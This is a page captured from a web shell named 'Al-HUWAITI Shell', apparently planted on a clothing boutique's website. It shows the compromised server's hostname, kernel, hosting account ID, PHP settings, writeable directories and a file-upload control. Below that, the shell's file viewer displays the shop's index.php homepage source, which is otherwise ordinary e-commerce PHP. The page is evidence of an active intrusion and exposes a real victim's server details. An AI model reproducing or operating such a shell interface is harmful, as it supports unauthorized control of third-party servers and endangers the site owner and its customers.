Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/marisgoldunisexboutique.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/marisgoldunisexboutique.com/public_html/index.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("header.php"); ?>
<title><?php echo $company_name; ?> - Home</title>
<div class="col-md-12 col-xs-12" id="product_msg"></div>
<main>

<section class="slider-area">
<div class="slider-active">
<?php 
$one=1;
$stmt = $con -> prepare('SELECT * FROM picture_slider ORDER BY RAND()');
$stmt -> execute(); 
$stmt -> store_result(); 
$stmt -> bind_result($home_id,$home_heading,$home_heading2,$home_paragraph,$home_picture); 
$numrows = $stmt -> num_rows();
if($numrows > 0){
while ($stmt -> fetch()) { 
?>
<div class="single-slider slider-height d-flex align-items-center"style="background-image:url(<?php echo $admin_no1; ?>/assets/img/home_background/<?php echo $home_picture; ?>)">
<div class="container">
<div class="rowr">
<div class="col-xxl-5 col-xl-6 col-lg-7 col-md-8  col-sm-10">
<div class="hero-caption text-center trans_back">
<span><?php echo $home_heading2; ?></span>
<h1 data-animation="bounceIn" data-delay="0.2s"><?php echo $home_heading; ?></h1>
<p data-animation="fadeInUp" data-delay="0.4s"><?php echo $home_paragraph; ?></p>
<a href="shop.php" class="btn_1 hero-btn" data-animation="fadeInUp" data-delay="0.7s">Shop Now</a>
</div>
</div>
</div>
</div>
</div>
<?php }} ?>

</div>
</section>
<div class="listing-area pt-50">
<div class="container">
<div class="row">



<div class="col-xl-12 col-lg-12 col-md-12">
<div class="latest-items latest-items2">
<div class="row">
	<div class="col-lg-6">
				<div class="product_image">
    <script src="assets/js/jssor.slider-28.1.0.min.js" type="text/javascript"></script>
    <script type="text/javascript">
        window.jssor_1_slider_init = function() {

            var jssor_1_SlideshowTransitions = [
              {$Duration:800,x:0.3,$During:{$Left:[0.3,0.7]},$Easing:{$Left:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,x:-0.3,$SlideOut:true,$Easing:{$Left:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,x:-0.3,$During:{$Left:[0.3,0.7]},$Easing:{$Left:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,x:0.3,$SlideOut:true,$Easing:{$Left:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,y:0.3,$During:{$Top:[0.3,0.7]},$Easing:{$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,y:-0.3,$SlideOut:true,$Easing:{$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,y:-0.3,$During:{$Top:[0.3,0.7]},$Easing:{$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,y:0.3,$SlideOut:true,$Easing:{$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,x:0.3,$Cols:2,$During:{$Left:[0.3,0.7]},$ChessMode:{$Column:3},$Easing:{$Left:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,x:0.3,$Cols:2,$SlideOut:true,$ChessMode:{$Column:3},$Easing:{$Left:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,y:0.3,$Rows:2,$During:{$Top:[0.3,0.7]},$ChessMode:{$Row:12},$Easing:{$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,y:0.3,$Rows:2,$SlideOut:true,$ChessMode:{$Row:12},$Easing:{$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,y:0.3,$Cols:2,$During:{$Top:[0.3,0.7]},$ChessMode:{$Column:12},$Easing:{$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,y:-0.3,$Cols:2,$SlideOut:true,$ChessMode:{$Column:12},$Easing:{$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,x:0.3,$Rows:2,$During:{$Left:[0.3,0.7]},$ChessMode:{$Row:3},$Easing:{$Left:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,x:-0.3,$Rows:2,$SlideOut:true,$ChessMode:{$Row:3},$Easing:{$Left:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,x:0.3,y:0.3,$Cols:2,$Rows:2,$During:{$Left:[0.3,0.7],$Top:[0.3,0.7]},$ChessMode:{$Column:3,$Row:12},$Easing:{$Left:$Jease$.$InCubic,$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,x:0.3,y:0.3,$Cols:2,$Rows:2,$During:{$Left:[0.3,0.7],$Top:[0.3,0.7]},$SlideOut:true,$ChessMode:{$Column:3,$Row:12},$Easing:{$Left:$Jease$.$InCubic,$Top:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,$Delay:20,$Clip:3,$Assembly:260,$Easing:{$Clip:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,$Delay:20,$Clip:3,$SlideOut:true,$Assembly:260,$Easing:{$Clip:$Jease$.$OutCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,$Delay:20,$Clip:12,$Assembly:260,$Easing:{$Clip:$Jease$.$InCubic,$Opacity:$Jease$.$Linear},$Opacity:2},
              {$Duration:800,$Delay:20,$Clip:12,$SlideOut:true,$Assembly:260,$Easing:{$Clip:$Jease$.$OutCubic,$Opacity:$Jease$.$Linear},$Opacity:2}
            ];

            var jssor_1_options = {
              $AutoPlay: 1,
              $SlideshowOptions: {
                $Class: $JssorSlideshowRunner$,
                $Transitions: jssor_1_SlideshowTransitions,
                $TransitionsOrder: 1
              },
              $ArrowNavigatorOptions: {
                $Class: $JssorArrowNavigator$
              },
              $ThumbnailNavigatorOptions: {
                $Class: $JssorThumbnailNavigator$,
                $SpacingX: 5,
                $SpacingY: 5
              }
            };

            var jssor_1_slider = new $JssorSlider$("jssor_1", jssor_1_options);

            /*#region responsive code begin*/

            var MAX_WIDTH = 980;

            function ScaleSlider() {
                var containerElement = jssor_1_slider.$Elmt.parentNode;
                var containerWidth = containerElement.clientWidth;

                if (containerWidth) {

                    var expectedWidth = Math.min(MAX_WIDTH || containerWidth, containerWidth);

                    jssor_1_slider.$ScaleWidth(expectedWidth);
                }
                else {
                    window.setTimeout(ScaleSlider, 30);
                }
            }

            ScaleSlider();

            $Jssor$.$AddEvent(window, "load", ScaleSlider);
            $Jssor$.$AddEvent(window, "resize", ScaleSlider);
            $Jssor$.$AddEvent(window, "orientationchange", ScaleSlider);
            /*#endregion responsive code end*/
        };
    </script>
    <style>
        /*jssor slider loading skin spin css*/
        .jssorl-009-spin img {
            animation-name: jssorl-009-spin;
            animation-duration: 1.6s;
            animation-iteration-count: infinite;
            animation-timing-function: linear;
        }

        @keyframes jssorl-009-spin {
            from { transform: rotate(0deg); }
            to { transform: rotate(360deg); }
        }

        /*jssor slider arrow skin 106 css*/
        .jssora106 {display:block;position:absolute;cursor:pointer;}
        .jssora106 .c {fill:#fff;opacity:.3;}
        .jssora106 .a {fill:none;stroke:#000;stroke-width:350;stroke-miterlimit:10;}
        .jssora106:hover .c {opacity:.5;}
        .jssora106:hover .a {opacity:.8;}
        .jssora106.jssora106dn .c {opacity:.2;}
        .jssora106.jssora106dn .a {opacity:1;}
        .jssora106.jssora106ds {opacity:.3;pointer-events:none;}

        /*jssor slider thumbnail skin 101 css*/
        .jssort101 .p {position: absolute;top:0;left:0;box-sizing:border-box;background:#000;}
        .jssort101 .p .cv {position:relative;top:0;left:0;width:100%;height:100%;border:2px solid #000;box-sizing:border-box;z-index:1;}
        .jssort101 .a {fill:none;stroke:#fff;stroke-width:400;stroke-miterlimit:10;visibility:hidden;}
        .jssort101 .p:hover .cv, .jssort101 .p.pdn .cv {border:none;border-color:transparent;}
        .jssort101 .p:hover{padding:2px;}
        .jssort101 .p:hover .cv {background-color:rgba(0,0,0,6);opacity:.35;}
        .jssort101 .p:hover.pdn{padding:0;}
        .jssort101 .p:hover.pdn .cv {border:2px solid #fff;background:none;opacity:.35;}
        .jssort101 .pav .cv {border-color:#fff;opacity:.35;}
        .jssort101 .pav .a, .jssort101 .p:hover .a {visibility:visible;}
        .jssort101 .t {position:absolute;top:0;left:0;width:100%;height:100%;border:none;opacity:.6;}
        .jssort101 .pav .t, .jssort101 .p:hover .t{opacity:1;}
    </style>
    <div id="jssor_1" style="position:relative;margin:0 auto;top:0px;left:0px;width:500px;height:600px;overflow:;visibility:hidden;">
        <!-- Loading Screen -->
        <div data-u="loading" class="jssorl-009-spin" style="position:absolute;top:0px;left:0px;width:100%;height:100%;text-align:center;background-color:rgba(0,0,0,0.7);">
            <img style="margin-top:-19px;position:relative;top:50%;width:38px;height:38px;" src="images/spin.svg" />
        </div>
        <div data-u="slides" style="cursor:default;position:relative;top:0px;left:0px;width:500px;height:500px;overflow:hidden;">
		
        <div>	
           <img data-u='image' src='assets/img/ab1.jpg' />
           <img data-u='thumb' src='assets/img/ab1.jpg' />
        </div>  

		<div>	
           <img data-u='image' src='assets/img/ab2.jpg' />
           <img data-u='thumb' src='assets/img/ab2.jpg' />
        </div>   
            
        </div><a data-scale="0" href="#" style="display:none;position:absolute;"></a>
        <!-- Thumbnail Navigator -->
       
        <!-- Arrow Navigator -->
        
    </div>
    <script type="text/javascript">jssor_1_slider_init();
    </script>
    <!-- #endregion Jssor Slider End -->

</div>
			</div>
		
	<div class="col-lg-6" style='line-height:30px;color:grey;'>
		<h2 style='color:<?php echo $t_cr; ?>;'>Find your Style</h2>
 Discover timeless style at our boutique, where men and women can find carefully curated fashion pieces for every moment. From everyday essentials to standout looks, we bring you quality, comfort, and confidence in every outfit.
 <br>
 Step into a world of fresh, on-trend pieces crafted to help you express your individuality. Whether you're dressing up or keeping it casual, you’ll find unique designs and quality fabrics that make you look good and feel great.
<br>
We believe great style begins with great quality. Every item in our collection is intentionally chosen for its craftsmanship and durability, ensuring you enjoy pieces that stand out and stand the test of time.
<br>
Your shopping experience is our priority. From smooth browsing to fast delivery, we’re committed to making fashion simple and enjoyable. And if you ever need help choosing the perfect outfit, fit, or style, our team is always ready to assist.
<br> <br> <br>
<div class='row'>
	<div class="col-lg-3">
		<div class="cat-icon" data-aos="fade-down" data-aos-delay="100">
			<img src="assets/img/icon/services1.svg" alt=""><br/>
			 <span class='small_write'>Fast & Free Delivery</span>
		</div>
	</div>
	<div class="col-lg-3">
		<div class="cat-icon" data-aos="fade-down" data-aos-delay="200">
			<img src="assets/img/icon/services2.svg" alt=""><br>
			<span class='small_write'>Pay with peace of mind</span>
		</div>
	</div>
	<div class="col-lg-3">
		<div class="cat-icon" data-aos="fade-down" data-aos-delay="300">
			<img src="assets/img/icon/services3.svg" alt=""><br>
			<span class='small_write'>Refund? We've got you</span>
		</div>
	</div>
	<div class="col-lg-3">
		<div class="cat-icon" data-aos="fade-down" data-aos-delay="400">
			<img src="assets/img/icon/services4.svg" alt=""><br>
			<span class='small_write'>Available 24/7</span>
		</div>
	</div>
</div>

	</div>
</div>

</div>
</div>
</div>
</div>
</div>

<section class="items-product1 pt-30">
<div class="hero-caption hero-caption2 align-items-center">
<h2 style='text-align:center;' data-aos="fade-up" data-aos-delay="100">Top <span style='color:<?php echo $t_cr ?>;'>Selling</span> Categories</h2>
</div><br/>
<div class="container">
<div class="row">

<?php 
$one=1;
$stmt_box = $con -> prepare('SELECT * FROM boxes');
$stmt_box -> execute(); 
$stmt_box -> store_result(); 
$stmt_box -> bind_result($box_id,$box_heading,$box_link,$box_link_text,$box_picture); 
$numrows_box = $stmt_box -> num_rows();
if($numrows_box > 0){
while ($stmt_box -> fetch()) { 
?>
<div class="col-xl-4 col-lg-4 col-md-6 col-sm-6" data-aos="zoom-in" data-aos-delay="100">
<div class="single-items mb-20">
<div class="items-img">
<img src="admin<?php echo $admin_no; ?>/assets/img/home_boxes/<?php echo $box_picture; ?>" style="border-radius:5px; object-fit:cover;height:300px;">
</div>
<div class="items-details">
<h4><a href="<?php echo $box_link; ?>"><?php echo $box_heading; ?></a></h4>
<a href="<?php echo $box_link; ?>" class="browse-btn"><?php echo $box_link_text; ?></a>
</div>
</div>
</div>

<?php }} ?>


</div>
</div>
</section>









<section class="latest-items section-padding fix">
<div class="row">
<div class="col-xl-12">
<div class="section-tittle text-center mb-40">
<h2 data-aos="fade-up" data-aos-delay="100">Top <span style='color:<?php echo $t_cr; ?>;'>Selling</span> Items</h2>
</div>
</div>
</div>
<div class="container">
<div class="latest-items-active">

<?php $count=0;$yes='Yes';$eight=8;
	$stmt_p = $con -> prepare("SELECT * FROM products WHERE home_products=? AND in_stock=? ORDER BY RAND() LIMIT ?"); 
	$stmt_p -> bind_param('ssi',$yes,$yes,$eight);
	$stmt_p -> execute(); 
	$stmt_p -> store_result(); 
	$stmt_p -> bind_result($product_id,$product_cat,$product_brand,$product_title,$product_price,$product_desc,$product_image,$product_keywords,$old_price,$new_tag,$home_products,$tags,$in_stock,$featured,$picture2,$picture3,$picture4,$picture5,$picture6); 
	$numrows_p = $stmt_p -> num_rows();
	if($numrows_p > 0){
		while ($stmt_p -> fetch()) { 
		$count++;
		echo"			
<div class='properties pb-30' data-aos='zoom-in' data-aos-delay='100'>
	<div class='properties-card'>
		<div class='properties-img'>
			<a href='product_details.php?product=$product_id'>
				<img src='$admin_no1/assets/img/products/$product_image' alt='$product_title' style='border-radius:5px;'>
			</a>
			<div class='socal_icon'>
				<a pid='$product_id' id='product' title='Add to Cart'><i class='ti-shopping-cart'></i></a>
				
				
				<a href='product_details.php?product=$product_id'title='View Details'><i class='ti-zoom-in'></i></a>
			</div>
		</div>
		<div class='properties-caption properties-caption2'>
			<h3>
				<a href='product_details.php?product=$product_id'>$product_title</a>
			</h3>
			<div class='properties-footer'>
				<div class='price'>
					
				</div>
			</div>
		</div>
	</div>
</div>
		";
		}
	}
			
		?>




</div>
</div>
</section>
<section class="">
<div class="container">
<div class="latest-items latest-items2">
<div class="row">
<?php $count=0;$yes='Yes';$four=4;
	$stmt_p = $con -> prepare("SELECT * FROM products WHERE in_stock=? ORDER BY RAND() LIMIT ?"); 
	$stmt_p -> bind_param('si',$yes,$four);
	$stmt_p -> execute(); 
	$stmt_p -> store_result(); 
	$stmt_p -> bind_result($product_id,$product_cat,$product_brand,$product_title,$product_price,$product_desc,$product_image,$product_keywords,$old_price,$new_tag,$home_products,$tags,$in_stock,$featured,$picture2,$picture3,$picture4,$picture5,$picture6); 
	$numrows_p = $stmt_p -> num_rows();
	if($numrows_p > 0){
		while ($stmt_p -> fetch()) { 
		$count++;
		echo"	
<div class='col-xl-3 col-lg-3 col-md-3 col-sm-3' data-aos='zoom-in' data-aos-delay='100'>		
<div class='properties pb-30' data-aos='zoom-in' data-aos-delay='100'>
	<div class='properties-card'>
		<div class='properties-img'>
			<a href='product_details.php?product=$product_id'>
				<img src='$admin_no1/assets/img/products/$product_image' alt='$product_title' alt=''>
			</a>
			<div class='socal_icon'>
				<a pid='$product_id' id='product' title='Add to Cart'><i class='ti-shopping-cart'></i></a>
				
				
				<a href='product_details.php?product=$product_id'title='View Details'><i class='ti-zoom-in'></i></a>
			</div>
		</div>
		<div class='properties-caption properties-caption2'>
			<h3>
				<a href='product_details.php?product=$product_id'>$product_title</a>
			</h3>
			<div class='properties-footer'>
				<div class='price'>
					
				</div>
			</div>
		</div>
	</div>
</div>
</div>
		";
		}
	}
			
		?>



</div>
</div>
</div>
</section>







<div class="categories-area">
<div class="container">
<div class="row">
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="single-cat mb-50 wow fadeInUp text-center" data-wow-duration="1s" data-wow-delay=".2s">
<div class="cat-icon">
<img src="assets/img/icon/services1.svg" alt="">
</div>
<div class="cat-cap">
<h5>Fast & Free Delivery</h5>
<p>Super Fast Delivery on all Orders</p>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="single-cat mb-50 wow fadeInUp text-center" data-wow-duration="1s" data-wow-delay=".2s">
<div class="cat-icon">
<img src="assets/img/icon/services2.svg" alt="">
</div>
<div class="cat-cap">
<h5>Secure Payment</h5>
<p>Pay with peace of mind</p>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="single-cat mb-50 wow fadeInUp text-center" data-wow-duration="1s" data-wow-delay=".4s">
<div class="cat-icon">
<img src="assets/img/icon/services3.svg" alt="">
</div>
<div class="cat-cap">
<h5>Money Back Guarantee</h5>
<p>Refund? We got your back</p>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="single-cat mb-50 wow fadeInUp text-center" data-wow-duration="1s" data-wow-delay=".5s">
<div class="cat-icon">
<img src="assets/img/icon/services4.svg" alt="">
</div>
<div class="cat-cap">
<h5>Online Support</h5>
<p>We are available 24/7</p>
</div>
</div>
</div>
</div>
</div>
</div>

</main>
<?php include("footer.php"); ?>

Al-HUWAITI Shell